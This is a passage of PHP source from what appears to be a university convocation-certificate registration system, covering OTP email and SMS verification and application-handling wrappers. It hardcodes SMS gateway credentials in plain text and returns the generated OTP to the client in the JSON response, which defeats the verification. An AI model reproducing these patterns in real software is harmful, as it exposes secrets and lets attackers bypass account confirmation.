sendsmaapi($username,$password,$from,$to,$text,$category); */ } function SendMailOtPToUser() { $mobile_no=trim($this->aobj_context->mobj_data["s_mobile_no"]); $s_email_id=$this->aobj_context->mobj_data['s_email_id']; require_once("cManualMailer.php"); $otp = generateRandomString(); $message="<html>"; $message.="<body>"; $message.="<style>"; $message.=".mail_tbl td{text-align:left; padding:2px; font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif;}"; $message.="</style>"; $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>Dear Candidate,</p></br>"; $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>You recently registered for Convocation Certificate. To complete your registration, please confirm your account.</p></br>"; $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>You may be asked to enter this confirmation code : {$otp}</p>"; $message.="</br>"; $message.="</body>"; $message.="</html>"; $subject="KUSUNI - Action required: Confirm your Registration"; $data='true'; $data= send_manual_mail($s_email_id,$subject,$message,$replay_to=null,$cc=null,$bcc=null); //SMS OTP $username = 'log01'; $password = 'log01124'; $from = 'KUVUNI'; $to = $mobile_no; $text ="Use ".$otp." to verify your Registration"; $category = ''; $smsresp = sendsmaapi($username,$password,$from,$to,$text,$category); if($data=='true') { echo $this->aobj_context->mobj_output->ToJSONEnvelope($otp,0,"success"); } else { echo $this->aobj_context->mobj_output->ToJSONEnvelope($data,-1,"success"); } } } function SaveApplicationDetails($aobj_context) { $obj=new applicationForm($aobj_context); $obj->assignParams(); $obj->SaveDetails(); } function GetpaymentLinkForAppNo($aobj_context) { $obj=new applicationForm($aobj_context); $obj->GetpaymentLinkForAppNo(); } function ValidatePaymentApplicationData($aobj_context) { $obj=new applicationForm($aobj_context); $obj->ValidatePaymentApplicationData(); } function ValidatePrintCertificateApplicationData($aobj_context) { $obj=new applicationForm($aobj_context); $obj->ValidatePrintCertificateApplicationData(); } function ValidateApplicationstatus($aobj_context) { $obj=new applicationForm($aobj_context); $obj->ValidateApplicationstatus(); } ?>
Close